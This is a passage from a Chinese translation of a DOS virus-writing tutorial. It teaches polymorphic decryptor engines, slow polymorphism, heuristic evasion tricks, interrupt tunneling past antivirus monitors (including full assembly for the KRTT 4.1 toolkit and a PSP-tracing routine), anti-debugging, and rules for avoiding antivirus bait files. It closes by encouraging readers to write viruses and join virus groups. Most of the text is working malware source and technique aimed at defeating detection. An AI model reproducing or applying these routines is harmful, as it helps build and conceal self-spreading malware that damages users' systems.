正如你看到的,添加新块来完成相同的任务更简单。但是,这种类型的引擎有一个弱
点:大小。Elvira的引擎占了病毒的一半大小:病毒大小是4250字节,引擎占了病毒的20
00-2500字节。好处是通过添加更多的块,我们可以为这个病毒设置更多的陷阱,使它仍然
不能被病毒查杀工具检测
而赢家是...
我认为表是解决问题的方法,因为我们可以产生这些块的所有组合,还有更多。这些
块也是那些不想生活在痛苦中的人的解决方案
译者注:下面省略一些汇编基础知识的介绍,包括寄存器的介绍,指令,中断调用等等,
感兴趣的可看原文。
%随机数产生器%
~~~~~~~~~~~~~~
这是你的PER中的一个最重要的部分。获得随机数的最简单的方法是调用端口40h,看
它返回什么。让我们看一些代码:
random:
in ax,40h
in al,40h
ret
我们还可以使用INT 1Ah,或者我们认为能每次返回给我们不同数的东西。如果我们想
要得到一定范围的数,我们可以使用指令AND。让我们来看看产生一定范围的随机数的最简
单的过程:
random_in_range:
push bx
xchg ax,bx
call random
and ax,bx
pop bx
ret
它将会返回一个在0到AX-1之间的数。一个优化产生一个范围的随机数的方法是使用除
法。记住除法能做什么,要特别注意余数。当我们做一个除法,余数不可能比除数大(活相
等)。所以,余数只能在0到除数-1之间。让我们看看使用除法的过程是怎么实现的:
random_in_range:
push bx dx
xchg ax,bx
call random
xor dx,dx
div bx
xchg ax,dx
pop dx bx
ret
正如你所看到的,相当简单。关于随机数的话题,我们在这一章的下一章还会继续,
慢多态(Slow polymorphism)。
%慢多态(Slow Polymorphism)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果你知道这个东西是如何对付病毒查杀工具的,你会认为它是一项非常难的技术,
或者其它想法。不。第一个多态引擎的作者认为对付病毒查杀工具的方法是使解密在每次
都是变化的。对于初期的PER,这是一个很好的主意,但是,病毒查杀工具研究者们发现用
一个具有多态的病毒感染成千的诱饵程序,他们就能发现所有的可能变异,然后,给他们
的软件添加一个简单的扫描字符串。但是...如果我们使得解密程序非常慢的话,将会发生
什么呢?于是,慢多态就应运而生了。是的,利用这个简单的想法,看起来不起眼,我们
能使病毒查杀工具研究者们发疯了。为了获得慢多态我们必须改变的最重要的东西是随机
数发生器。通过改变这个,我们就有了一个适合我们需要的慢变异引擎。我们可以证明它
,但是它将和好地适合我们地需要。我们需要变化不快的值,如月,天或其它的一些东西
,然后对他们玩些东西(如果你想要,毫无疑问了)。
random_range:
push bx cx dx
xchg ax,bx
mov ax,2C00h
int 21h
xchg ax,dx
xor ax,0FFFFh
xor dx,dx
div bx
xchg ax,dx
pop dx cx bx
ret
利用上述的例程,你的PER现在是100%慢多态了。我相信这个概念相当清晰了。
另外,你可以尝试着添加一个计数器来避免变异在一个很长的时间里完成,但是我更
愿用这个技术来实现慢多态。
%高级多态%
~~~~~~~~~~
下一步是高级多态了,你必须试着去产生实际的结构,如一个调用子例程、中断的程
序,和一些已知的数值玩玩,在条件跳转前面作比较,做任何你能想象的事情。你必须不
断的提高的的多态引擎的变化性:如果它是慢的而且变化很多,病毒查杀工具将会受挫的
。想象这个可能性:你可以自顶向底来解密你的代码,和使用si,di,bx或者其它你自己设
定的作为记数寄存器,你可以为长例程添加一个发生器,如小的反调试花招(neg sp/neg
sp,not sp/not sp...),编制一个mid-virus(或者mid-file)解密程序,一个INT 1解密程序
,编制不做任何事情的内存移动,不时地把字运算作为字节运算,组合它们,代替它们..
.
此外,你可以尝试一些已经更高级地东西,如改进多态,和其它地东西。有一些关于
这个事实的有趣的文章,如Methyl(即Owl[FS])的。
%关于多态的最后的讨论%
但是,在现实中,病毒查杀工具开发者将会千方百计的通过反编译我们的慢多态引擎
来获得我们解密程序的所有可能性。
但是,这里就要保护我们的成果了。我们必须通过一个特别地加密例程来严重地保护
我们的PER(它必须是一个反调试地解密程序)。因为它们将不会有足够地时间来反编译我们
地引擎,他们将看不到它所能做的所有东西你可以好好地选择反调试这一章里里提到的反
调试技术。所以,这次,它们将会把努力集中到诱饵上,并且我们必须避免感染这些无聊
的文件。更多的关于这个在反诱骗这一章里
我期待着你能编写出震惊世界的PER!
【反探索(Anti-Heuristics)】
~~~~~~~~~~~~~~~~~~~~~~~~~
探索方法在我们的代码里面寻找可疑的东西,只要避免使用如"*.com"等等...好了,
我将更好地解释它。遵循这一点
不要使用诸如"*.com"或者"*.exe"之类的通配符:
这种类型的东西只会在运行期<g>病毒里使用,但是如果你确实需要它...你可疑用"*
.rom"代替"*.com",然后用下面的代码:
mov byte ptr [bp+comfile+2],"c"
记住:在写病毒主体之前,存储"*.rom"里的r...
mov byte ptr [bp+comfile+2],"r"
否则,你的努力就白费了。
在这个例子里,我们假设BP为变化的偏移地址,com 文件,db "*.rom",0,而且这个
病毒是一个直接感染病毒<g>
不要使用明显的例程:
我们要讨论的是经典的INT 21h AH=40h,INT 21h AX=4301h...你可以做很多事情...让
我们在AX=4301h时玩玩。
我已经在哪里读过这个了,现在记不清在哪里了(可能是Wizard的用西班牙语写的教程
)
push 4301h
pop ax
但是,有一个问题...编译然后把它反编译。让我们看看由TASM产生的东西毫无疑问,
这个只会在这个代码中所选的处理器比386还差。
push ax bp
mov bp,sp
mov word ptr [bp+02],4301h
pop bp ax
这是push 4301h和pop ax的反汇编代码。它占11字节!!!我认为它是对代码的浪费
。更好的使用情况为:
mov ax,4300h
inc ax
或者更好:
mov ax,0043h
inc ah
xchg ah,al
还有:
mov bx,4300h
xor ax,ax
xchg ax,bx
对你的多态引擎的所有例程过度的怀疑:
对许多的垃圾的使用要小心,如一个字节的指令(cli,sti,lahf,nop,std,cld,cmc...
)。病毒查杀工具能显示一个标志。探索引擎将会试图去解密代码。我建议你设置一个反调
试例程来阻止它。看看这篇文档的ARMOURING这一章。
在你的驻留内存检查时不要使用奇怪的调用:
如果你在你的驻留内存检测时使用如AX=DEADh,一个标志将会被触发。要使用低于6E
00h的检查。低于6E00h的功能有很多还没使用。你要想看更多的信息,可以看看Ralph Br
own的中断列表。
不要使用不常见的中断:
如果你使用高于80的中断,一个标志将会被触发。
尽可能的优化你的代码:
你可以参考关于这个话题的教程(如darkman在VLAD#2中的文章或者29A#3中的文章)。
获得偏移地址的时候要尽可能的新颖:
在过得改变的偏移地址的时候不要使用:
call delta
delta:
pop si
sub si,offset delta
这个被很多的病毒使用,毫无疑问一个标志将会被触发。(在这个例子里,delta off
set 将会存字SI里)
有很多代替的方法来获得delta offset:
mov bx,old_size_of_infected_file
jmp bx
(当然你可以使用另外的寄存器而不是BX)
另外一个:
call delta
delta:
mov si,sp
mov bp,word ptr ss:[si]
sub bp,offset delta
(在上面的代码里,BP将会为Delta offset)
另外一个:
mov bp,sp
int 03h
delta:
mov bp,ss:[bp-6]
sub bp,offset delta
使你的加密例程非常优化。如果你使用某些方法,探索将会抓住病毒,所有我们的努
力将会付之东流。
使你的TSR例程更加怪:
努力避免和0比较:
cmp byte ptr [0],"Z"
在你的int 21处理程序里避免使用"真正"的比较,只要试试如下的(4bh的例子):
xchg ah,al
cmp al,4Bh
[...]
xchg ah,al
或者对这个值xor。
xor ax,0FFFFh
cmp ah,(4Bh xor 0FFh)
xor ax,0FFFFh
或者同时
xor ax,0FFFFh
xchg ah,al
cmp al,(4Bh xor 0FFh)
xchg ah,al
xor ax,0FFFFh
记住这一点:在调用真正的int 21之后在使用这些例程之前返回和以前一样的值。
探索法在搜索的时候比较"MZ"或者"ZM"如:
cmp ax,"ZM"
cmp ax,"MZ"
你可以这么试试:
mov al,byte ptr [header]
add al,byte ptr [header+1]
cmp al,"M"+"Z"
这是一个非常有用的例程:你可以同时检查MZ和ZM。假设就是这样...文件头至少包含
文件头的前两个字节。或者你还可以以小写的形式,用一个简单的or ax,2020h(AX是包含
这个字符串的寄存器),比较时如下:
cmp ax,"zm"
cmp ax,"mz"
尽可能的使你的病毒更加独特
用很多的病毒查杀工具把你的代码扫描很多遍来看看它能否被发现。
对恢复COM和EXE主体恢复的例程要轻微的改动。让我们现在来看看怎样编制对COM文件
的反探索恢复程序:
mov di,101h ; This shit will fool AV
dec di
push di ; DI=100h
lea si,[bp+offset OldBytes] ; Restore 3 bytes
movsw ; ( Change it for your needs )
movsb
ret ; Jump to 100h
oldbytes db CDh,20h,00
下面来看恢复EXE文件时怎么对付探索:
mov bx,bp ; Use BX as delta offset
mov ax,ds
add ax,0010h
add word ptr cs:[bx+@@CS],ax
add ax,cs:[bx+@@SP]
cli
mov ss,ax
mov sp,cs:[bx+@@SS]
sti
db 0EAh ; JUMP FAR
cs_ip equ this dword
@@IP dw 0000h ; In 1st gen, put here the offset to
; a MOV AX,4C00h/INT 21h
@@CS dw 0000h
ss_sp equ this dword
@@SS dw 0000h
@@SP dw 0000h
%最后的讨论%
~~~~~~~~~~~~
有些探索(如TBSCAN)的一个巨大的失败之处是它们不搜索寄存器的值。我们就可以利
用这一点了。只要想一想编写一个mov ax,4301h或者一个cmp ah,4Bh的所有可能性...一切
尽在掌握...
【Tunneling】
~~~~~~~~~~~
我们称tunneling为一类操作,这类操作获得任何中断的原始中断向量,这些中断是所
有关于INT 21h的所有时间的中断。由此可见,并不是所有的操作都可以称作tunneling(如
,后门backdoors),但是我们也会在这篇文章里面讨论到。
Tunneling是为避开TSR监视程序而开发的。这种类型的反病毒对普通使用者来说是不
可理解的(什么话!),因为他们被告知了钩住中断,打开可执行文件,和一个病毒通常会
做的事情的企图。这种方法用上述的方法(反探索)确实很难对付了,因为它们不搜索一些
比特,它们仅仅钩住和控制重要的中断(21h,13h...)
最普遍的TSR监视程序是Flintstones的VSAFE,VSHIELD...我们的目标是获得原始的中
断向量但是...怎么来实现呢?你有很多个选择。
%跟踪%
~~~~~~
这可能是最常用的方法之一,但也是很不安全的方法。是的,这种类型的tunneling是
非常脆弱的,而且如果你仔细地看看下面的论述,你会知道为什么是非常脆弱的
有一个标志,叫做陷阱标志Trap Flag(通常缩写为TF),如果被激活,用来把处理器切
换到单步执行模式。单步执行模式就是调试器用来一步一步的执行指令的,当然我们可以
用来满足我们的需要啦
一个指令每执行一次,TF就会被激活,INT 1将会被调用,所以这次是我们的啦但是没
有一个激活它的指令,所以我们必须对标志处理。让我们看看我们怎样激活TF的:
pushf ; Push flags to stack
pop ax ; And put them into AX for play
or ax, 100h ; We activate the TF at this point
push ax ; We must push AX...
popf ; for restore our preety flags
利用这些简单的代码,你已经激活了陷阱标志。我忘了给出所有标志了,下面给出:
Position 0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
Flags -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF
正如你所看到的,这些标志是在一个16位的寄存器里面。下面给出标志列表及所代表
的意义:
CF : Carry Flag Indicates an arithmetic carry
PF : Parity Flag Indicates an even number of 1 bits
AF : Auxilary Flag Indicates adjustment needed in BCD numbers
ZF : Zero Flag Indicates a zero result, or equal comparison
SF : Sign Flag Indicates negative result/comparison
TF : Trap Flag Controls Single Step operation
IF : Interrupt Flag Controls whether interrupts are enabled
DF : Direction Flag Controls increment direction on string regs.
OF : Overflow Flag Indicates signed arithmetic overflow
让我们记住关于中断的一些东西。每次我们调用一个中断,在堆栈里是6个字节:标志
和CS:IP。你必须记住这一点,因为我们必须要调用INT 21h,然后跟踪它的代码。如果调
用之后CS(在堆栈中)等于当我们请求的中断向量DOS已经给我们的值,那么这个中断就是正
常的中断。实现tunneling的简单的例程如下:
int01handler:
push bp
mov bp, sp
push dx
mov dx, word ptr cs:[dossegment]
cmp [bp+6], dx
jz found
pop dx
pop bp
iret
found:
mov dx, [bp+6]
mov word ptr cs:[int21_seg], dx
mov dx, [bp+4]
mov word ptr cs:[int21_off], dx
pop dx
pop bp
add sp, 6
[...]
但是这种类型的tunneling,正如我在开始解释的时候所说的,有很多弱点。我们不保
护POPF,PUSHF,CLI和TF的释放,因为我们要真正地执行这个代码。
如果病毒查杀工具重定向INT 21h给另外一个中断,我们又要受挫了。正如你能看到地
,这个跟踪不安全。
好了,我们可以通过检查一些代码来解决一些问题,如PUSHF和POF,为了不使蹩脚者
释放TF。无论如何,跟踪不是最好的选择...
%字节到字节(byte-to-byte)%
~~~~~~~~~~~~~~~~~~~~~~~~
最流行(仅有的一个)的源程序是K攈ntark Recursive Tunneling Toolkit ( 即 KRTT
)。它使用的方法是对中断处理程序中的所有操作码做比较,为了判断它是否为CALL,CA
LL FAR,JUMP FAR,和JUMP OFF:SEG,然后获得这个值作为INT 21h。让我们看看KRTT41包
中的KRTT41.OBJ这个文件的彻底反汇编,它是这个工具的核心。
;----从这里开始剪切-------------------------------------------------------
; K攈ntark Recursive Tunneling Toolkit 4.1 (c) 1993 by K攈ntarK
; 反汇编 Billy Belceb?DDT
;
; 输入:
; BP : 01 Searches for INT 2Ah handler
; BP : 02 Searches for INT 13h handler
; BP : another value Searches for INT 21h handler
; 输出:
; AH : 00 Not found
; AH : 01 Found!
; AH : 02 Int 21h / 2Ah / 13h Not Hooked
; AH : 03 DOS internal interrupts are hooked
; 如果找到:
; DX DOS INT 21h / 2Ah / 13h SEGMENT
; DI INT 21h / 2Ah / 13h OFFSET
; AL RECURSION DEPT
; DESTROYED:
; AX,BX,CX,DX,DI,BP,ES
;
; 汇编:
; TASM KRTT41.ASM
; TLINK <virus name> KRTT41.OBJ
;
; Call TUNNEL for make tunneling
;
; 声明: 这是我第一次试着反汇编一些东西,所以如果有大的错误,原谅我
; 这不是我的工作...
.model tiny
.code
public tunnel
tunnel:
cli ; Disable interrupts for tunneling
xor ax,ax
mov es,ax ; Make ES = 0 for get IVT
xor di,di
mov dx,es:[00AEh] ; Checks for assure tunneling
mov cx,es:[00A2h] ; INT 26h =! INT 28h
cmp dx,cx
jz check
mov cx,es:[00B2h] ; INT 26h =! INT 28h =! INT 2Ch
cmp dx,cx
jz check
mov ah,03 ; Checks failed : DOS ints are hooked
ret
check:
cmp bp,01h ; BP=1 Hook INT 2Ah
jz int2A
cmp bp,02h ; BP=2 Hook INT 13h
jz int13
int21:
mov bx,es:[0084h] ; BP=Other Hook INT 21h
mov es,es:[0086h]
jmp go4it
int13:
mov bx,es:[004Ch] ; Get INT 13h vectors from the IVT to
mov es,es:[004Eh] ; ES:BX
mov bp,es
mov dx,0070h
cmp bp,dx
jz nothooked
jmp letstunnelit
int2A:
mov bx,es:[00A8h] ; Get INT 13h vectors from the IVT to
mov es,es:[00AAh] ; ES:BX
go4it:
mov bp,es
cmp dx,bp
jnz letstunnelit
nothooked:
xchg bx,di
mov ah,02h ; INT not hooked *yeah*
ret
letstunnelit:
call main_body ; Go and tunnel it
sti
ret
main_body:
push es
push bx
cmp al,07h ; Check for recursion
jz exit
cmp ah,01h ; Found ?
jz exit
inc al
mov cx,0FFFAh
sub cx,bx
main_loop:
push bx
cmp byte ptr es:[bx],0E8h ; Is OpCode a CALL ?
jz callsig16
cmp byte ptr es:[bx],0EAh ; Is it a JUMP OFFSET:SEGMENT ?
jz far_stuff
cmp byte ptr es:[bx],09Ah ; Is it a CALL FAR ?
jz far_stuff
cmp byte ptr es:[bx],02Eh ; A Segment Override CS maybe ?
jnz jmpfar
cmp byte ptr es:[bx+01],0FFh ; A JUMP FAR ?
jnz jmpfar
cmp byte ptr es:[bx+02],01Eh ; PUSH DS ?
jz far_stuff2
cmp byte ptr es:[bx+02],02Eh ; CS ? ( again )
jnz jmpfar
far_stuff2:
mov bp,es:[bx+03]
dec bp
xchg bx,bp
jmp far_stuff
jmpfar:
pop bx
cmp ah,01h ; Found ?
jz exit
cmp al,07h ; Check for recursion
jz exit
inc bx
loop main_loop ; And loop it
callsig16:
pop bx
add bx,03h
loop main_loop
exit:
pop bx
pop es
ret
far_stuff:
pop bp
add bp,04h
push bp
cmp es:[bx+03],dx
jz found
cmp word ptr es:[bx+03],00h
jz jmpfar
push es
pop bp
cmp es:[bx+03],bp
jz jmpfar
mov bp,bx
mov bx,es:[bx+01] ; Where it points
mov es,es:[bp+03]
call main_body
jmp jmpfar
found:
mov di,es:[bx+01]
mov ah,01 ; INT 21 found
jmp jmpfar
end tunnel
;----到这里结束------------------------------------------------------------
如果你想要完全的包,可以搜索,它很容易找到的,但是KRTT不是很安全。也许你很
恼怒。Tunneling看起来是一项非常不安全和脆弱的技术。这只是在这些老技术里才会发生
。如果控制权是由另外一个不是我们的程序的指令返回的时候,KRTT就会受挫了。利用一
个条件jump或者RETF很容易调用INT 21h,这对我们不好。而且这个必定是递归的,显而易
见。
%PSP跟踪%
~~~~~~~~~
如果你还记得那个非常重要的结构PSP,并看过了关于offset 0005的描述,你将会想
..."利用FAR CALL来调用INT 21该是多痛苦啊!"PSP的这个offset已经相当过时了,它只
是为了对非常老的程序兼容而保留的。但是它包含了非常有趣的数据,如INT 21h指派。I
NT 21h指派不是INT 21h处理程序,不要忘记这一点。正如Satan的Little Helper所说的,
offset PSP:6能直接指向调度,或者不直接指向,这需要一些对第一种情况的双nop调用处
理。
下面的例程来自VLAD#3(很强的一个组织!),Satan's Little Helper写的文章,介绍
了利用PSP来获得INT 21h地址的方法。
;-----从这里开始剪切-------------------------------------------------------
; PSP tracing routine by Satan's Little Helper
; Published in VLAD#3
;
; INPUT:
; DS PSP segment
; OUTPUT:
; DS:BX INT 21h address
; CF 0
; if tunnel failed:
; DS:BX 0000:0000
; CF 1
psp_trace:
lds bx,ds:[0006h] ; a pointer to dispatch handler
trace_next:
cmp byte ptr ds:[bx],0EAh ; JMP SEG:OFF ?
jnz check_dispatch
lds bx,ds:[bx+1] ; point to the SEGMENT:OFFSET
cmp word ptr ds:[bx],9090h
jnz trace_next
sub bx,32h ; 32h byte offset from dispatch
; handler
cmp word ptr ds:[bx],9090h ; If all is OK, INT 21h has this
jnz check_dispatch ; signature ( 2 NOPs )
good_search:
clc
ret
check_dispatch:
cmp word ptr ds:[bx],2E1Eh ; PUSH DS, CS: ( prefix )
jnz bad_exit
add bx,25h
cmp word ptr ds:[bx],80FAh ; CLI, PUSH AX
jz good_search
bad_exit:
stc
ret
;-----到这里为止剪切-------------------------------------------------------
相当简单而有效。试试看!而且,利用PSP跟踪的框架,我们可以使用另外一个方法,
INT 30h的后门。
PSP跟踪比普通跟踪更好,因为在第二个里面我们不知道我们是否正在执行一个病毒查
杀工具的代码,而使用PSP就不会发生了。
%INT 30h 后门%
~~~~~~~~~~~~~~
如果你看懂了上面的技术,这就非常简单了。INT 30h有跳转到调度的代码,所以我们
可以如下写代码:
xor bx,bx
mov ds,bx
mov bl,0C0h ; INT 30h offset in IVT
jmp trace_next
记住当在Windows环境下,INT 30h用来实现另外一个目的,一定要注意,但是那又是
另一段历史了
%代码仿真(Code Emulators)%
~~~~~~~~~~
我现在还能记住的第一篇文章是Methyl[IR/G]以前写的一篇文章,发表在IR#8(IRG#1
?)。这个小教程不象Methyl的,我没有太多的空间(这篇教程正越来越大),所以这篇教程
是100%理论的。但是,不要放弃,它很容易理解。对我来说,仿真看起来是对老的byte-t
o-byte扫描的改进,但更先进和安全了。我不是说它们完全等价。byte-to-byte扫描仅仅
对操作码作比较,而仿真就象指令执行的时候那样做的事情:仿真遵循原程序的流程,有
假的跳转,函数调用...用这种方法,它所有可能的INT 21h跳转,这是我们所需要的。OK
,这个是概念。如果你想知道更多的东西,我建议你下载IR#8,看看Methyl的教程。那是
个很好的杂志,所以祝你好运!
%高级tunneling%
~~~~~~~~~~~~~~~
啊...还是那句话:我不想使你的头脑因为太多的知识而爆炸。现在有更安全、更酷、
更新...的技术,但是它们都太难了,而且在这篇文章里介绍它们的实现将在你的硬盘上占
用太多的空间
【Anti-tunneling】
~~~~~~~~~~~~~~~~
Tunneling技术还被反病毒工具用来安装它的产品,我们要获得原始INT 21h中断向量
的努力将会化为泡影,因为它们使用和我们一样的武器。我们不能这样,另外,其它病毒
可以tunnel我们,这不妙。系统是我们的,不是其它任何程序的!
正如ShitWare使用的检测是否有跟踪那样,我们可以使用它们自己的例程来对付它们
:它们没有对这个保护。当我们可以使用一个例程来触发陷阱标志来跟踪时...我们可以使
用另外一个例程来释放它吗?当然可以啦。非常简单。不使用一个OR来触发它,代之以AN
D。
pushf
pop ax
and ah,11111110h
push ax
popf
是不是很迷人啊?利用这个,我们已经挫败了它们想偷取"我们的"INT 21h的企图。但
是...如果我们想要知道是否有人想要偷取它该知道些什么呢?下面的例程是从ARMOURING
这一章里抽出来的。
push ax
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz not_traced
jmp $ ; If traced, freeze the processor
not_traced:
[...]
这一章是TUNNELING一章的扩展。所以...利用上面两个简单的例程,和一点点好运气
,你可以走得更远
[反引诱(Anti-bait)]
~~~~~~~~~~~~~~~~~~~
诱饵/牺牲羊(sacrifical goats)是那些什么也不做的程序。你肯定会想知道为什么.
..它们使用这些程序来抓获将要感染它们的病毒。并且,它们将会给我们的病毒备份
但是当我们的病毒是多态的时候,我们将要面临严重的问题。它们将会对这些文件感
染大约一万次,来寻找一个可靠的扫描字符串and/or 算法来寻找所有可能的变异。毫无疑
问,如果我们添加代码来简单地拒绝对这些程序的感染,我们就能挫败它们(挫败那些相同
的人很枯燥,但是他们也想挫败我们...)
下面是不让(或更难)我们的病毒感染一个诱饵程序时你要遵循的几点:
- 不要感染大小<5000的文件,或者更大一些,<10000。所以我们是的反病毒工具创建100
00个诱饵,每个10000个字节。所以它们将要至少需要100M的空间
- 不要感染以数字编号最为其文件名的文件。诱饵程序通常命名为"00000000.com","000
00001.com"等等。
-不要感染具有连续的名字的文件。这个看起来和上面的类似,实际上不。如果它们发现我
们的文件不感染具有数字的文件,它们就会创建文件如"AAAAAAAA.COM","AAAAAAAB.COM"
及类似的文件。
- 不要感染具有相同大小的连续的文件,这种情况和上面的两种情况类似。
- 不要感染具有当天日期的文件。几乎所有的可执行文件在计算机上具有不同的日期。但
是很难找到一个文件正好是当天的日期(并不是所有的,但是几乎所有的诱饵就是这个日期
)。
- 抓住一个记时器中断,或者其它的来避免至少每隔10分钟才感染一个文件。想象一下情
形...一个反病毒程序会不停地试图获得我们的病毒的扫描字符串,并且反病毒人员会重起
很多次来找到是什么原因导致了病毒拒绝感染。而如果每次重起我们使得他等10分钟...他
将会在我们的病毒上浪费大量的时间
- 不要感染在根目录下的文件,很多诱饵程序产生器在根目录下生成诱饵程序,所以这次
它们又要受挫了
- 不要感染具有0-跳转和调用的文件:这个仅仅被诱饵和PER用到,所以...搜索所有的E9
0000,E800,[70..7F] 00等代码。
- 毫无疑问,检查大量的NOP,对同一个寄存器(XCHG BX,BX)XCHG,对同一个寄存器mov操作
的指令...
- 检查大量的0字节,或者对同一个寄存器的连续INC/DEC操作...你什么时候看过在INC
DX后面跟着DEC DX???
- 检测文件执行的第一个操作是否为MOV AX,4C00h/INT 21h或者一个INT 20h。
如果一个病毒在它的代码中执行了上面的至少5个情况,那么毫无疑问它是一个高强度
的反-诱饵(anti-bait)。
【优化(Optimization)】
~~~~~~~~~~~~~~~~~~~~
有两种类型的优化:结构优化和局部优化。在这一小章里我们将讨论这两种类型。但
是首先你必须懂得一件事:在它不影响功能的条件下优化你的代码。如果你作了不起作用
的优化,有很多使得它不能工作,你需要修正它,那么你就会犯越来越多的错误...一个永
不休止的恶性循环
%结构优化%
~~~~~~~~~~
这是最有效的,也是很难做到和理解的。这种类型的优化通过使用一张纸把你的病毒
的代码写在上面后就能够被很容易的理解了。我们这里没有纸,所以让我们想象一种情形
...假设你,在你的病毒里,以只读打开文件,关闭,再以读/写方式打开文件,再关闭,
这是字节的浪费。对于这种类型的优化,你必须对你能改变和保存哪些字节考虑。解决方
法肯定因你的问题不同而不同。
%局部优化%
~~~~~~~~~~
尽管它能节约很多字节,这个是最简单的方法。它在于单独地改变一些代码行,做相
同的事情而能使用更少的字节。
给寄存器清0:
mov bx,0000h ; 3 bytes
xor bx,bx ; 2 bytes
sub bx,bx ; 2 bytes
所以,永远不要使用第一个,要选择其它的方式。有一个寄存器可以用其它的方法清
零:DX。让我们来看:
mov dx,0000h ; 3 bytes
xor dx,dx ; 2 bytes
sub dx,dx ; 2 bytes
cwd ; Convert word to dword ( 1 byte )
CWD将在AX比8000h小的时候工作。有一种只用一个字节就可以给AH清零的方法:如果
AL<80h,你可以使用CBW指令。
比较:
我们都知道一个很著名的方法,那就是对下面的指令使用特殊的指令:CMP。在比较两
个寄存器时,你可以使用下面能得到相同结果的方法,没有任何节约:
cmp ax,bx ; 2 bytes
xor ax,bx ; 2 bytes
但是如果我们仅仅想知道两个值是否相等,我们可以在任何情况下使用XOR,如果我们
在比较一个寄存器和一个值的时候使用XOR而不使用CMP就可以节约字节:
cmp ax,0666h ; 3 bytes
xor ax,0666h ; 2 bytes
但是,由于XOR指令的自然属性,我们可以用它来判断一个寄存器是否为0。但是下面
可以用OR来节约字节...
cmp ax,0000h ; 3 bytes
or ax,ax ; 2 bytes
寄存器优化 - AX:
你可以利用它来作比较:
cmp bx,0666h ; 4 bytes
cmp ax,0666h ; 3 bytes
而且你还可以用一种非常优化的方法把AX的值赋给另外一个寄存器:
mov bx,ax ; 2 bytes
xchg ax,bx ; 1 byte
你做这个的时候,AX和BX的值是否改变都不重要。在一个文件打开后确实很好,因为
文件句柄在BX中更好。
字符串操作:
每一个字符串操作(MOVS,STOS,SCAS...)都是优化形式。让我们看看你利用它来做什么
:
- MOVS:从DS:[SI]到ES:[DI]的移动
les di,ds:[si] ; 3 bytes
movsb ; If we want a byte ( 1 byte )
movsw ; If we want a word ( 1 byte )
movsd ; If we want a dword ( 2 bytes ) 386+
- LODS: 把位置DS:[SI]的值放进累加器
mov ax,ds:[si] ; 2 bytes
lodsb ; If we want a byte ( 1 byte )
lodsw ; If we want a word ( 1 byte )
lodsd ; If we want a dword ( 2 bytes ) 386+
- STOS: 把位置ES:[SI]的值放进累加器
les di,al ; Can't do this!
les di,ax ; Can't do this!
stosb ; If we want a byte ( 1 byte )
stosw ; If we want a word ( 1 byte )
stosd ; If we want a dword ( 2 bytes ) 386+
- CMPS:比较DS:[SI]和ES:[DI]里的值
cmp ds:[si],es:[di] ; Can't have 2 segment overrides!
cmpsb ; If we want a byte ( 1 byte )
cmpsw ; If we want a word ( 1 byte )
cmpsd ; If we want a dword ( 2 bytes ) 386+
- SCAS:比较累加器的值和ES:[DI]
cmp ax,es:[di] ; 3 bytes
scasb ; If we want a byte ( 1 byte )
scasw ; If we want a word ( 1 byte )
scasd ; If we want a dword ( 2 bytes ) 386+
16位寄存器:
通常,使用16位寄存器比8位寄存器更优化。让我们一个MOV指令的例子:
mov ah,06h ; 2 bytes
mov al,66h ; 2 bytes ( 4 bytes total )
mov ax,0666h ; 3 bytes
加/减任何16位寄存器也更优化:
inc al ; 2 bytes
inc ax ; 1 byte
dec al ; 2 bytes
dec ax ; 1 byte
基和段:
从一个段到另一个段的移动不能直接进行,所以我们必须对它处理:
mov es,ds ; Can't do this!
mov ax,ds ; 2 bytes
mov es,ax ; 2 bytes ( 4 bytes total )
push ds ; 1 byte
pop es ; 1 byte ( 2 bytes total )
使用DI/SI比使用BP更先进。
mov ax,ds:[bp] ; 4 bytes
mov ax,ds:[si] ; 3 bytes
过程:
如果你使用一个例程很多次,你必须考虑编写一个过程的可能性。这个能优化你的代
码。无论如何,对过程的使用不当会使我们的需要相反:代码将会增长。所以,如果你想
知道一个例程到过程的转变能否节约字节,你可以使用下面的公式:
X = [rout. size - (CALL size + RET size)] * number of calls - rout. size
CALL size+ RET size表示4个字节。X使我们将会节约的字节。让我们看看节约一些字
节的经典函数,文件指针的移动:
fpend: mov ax,4202h ; 3 bytes
fpmov: xor cx,cx ; 2 bytes
cwd ; 1 byte
int 21h ; 2 bytes
ret ; 1 byte
我们得到8字节+CALL 大小...11字节。让我们看看这个是否能优化我们的代码:
X = [ 7 - ( 3 + 1 ) ] * 3 - 7
X = 2 bytes saved
毫无疑问,这是一个创造性的计算。你调用这个例程可以多于3次(或更少),使它的大
小不同,和更多的东西。
局部优化的最后几点:
- 使用SFT。在这个结构里你已经有很多有用的信息了,并且你可以没有任何问题地操作它
。
- 使你的编译器至少扫描你的代码三遍来排除无用的NOP和其它的东西。
- 使用堆栈。
- 使用MOV offset的LEA指令更优化。
【附录1:新学校】
~~~~~~~~~~~~~~~
主要介绍windows 编程,可见第二部分Billy Belceb 的Win32病毒写作教程。这里略。
【附录2:病毒发作】
~~~~~~~~~~~~~~~~~
你必须对你的病毒的发作程序多花功夫,因为它是用户对你的病毒所能唯一看到的东
西。那种仅仅破坏硬盘或者删除文件的发作不是新颖的,它只会表面用户不能再做更好的
事情了。如果你就是想搞破坏,那你的工作就不是病毒意义上的工作:木马是非常容易写
的,所以把你的精力花到木马开发上去<g>。
我并不是说不允许任何类型的破坏,但是它必须要在特定的时候,如有人正试图调试这
个病毒。我认为不想在我们身上发生的事情最好也不要在别人身上发生。
病毒中很新颖的发作的例子有Elvira,Cascade,Claudia Schiffer(呵呵呵),Ambulan
ce...
【结束语】
你可以认为写这么一篇教程对我来说是一个痛苦,但实际上不,我在写这篇教程的时
候确实很开心,我希望你读的时候也很开心。[译者注:译者在翻译这篇教程的时候也感到
很开心,真是受益匪浅啊!]
我的目标是写一篇彻底的教程,以运行期com病毒开始,讨论了一些很酷的技术如
polymorphism和tunneling。我这么做是为了教会一些人,有时候自己也能从中受益。现在
,该轮到你了,记住在哪里学到的病毒知识读完之后,理解,实践,你就能够编写非常好
的病毒了,而且,如果你愿意,写一些文章发表到一些病毒杂志上去,或者加入一个病毒
组织
在说完再见之后,我必须向一些人问候,是他们帮助了我,有些是我非常崇拜的。
正如在我介绍的时候所说的,这篇文章献给zAxon(呵呵...我写对了你的昵称)。在我打电话
给他问诸如"我该怎样拷贝一个文件?"或者"这个程序是什么...PKZIP?",在我的起步阶段
,他回答了我的问题。他对我的病毒工程,想法总是很认真地听取。拥有他这么一个朋友
真好
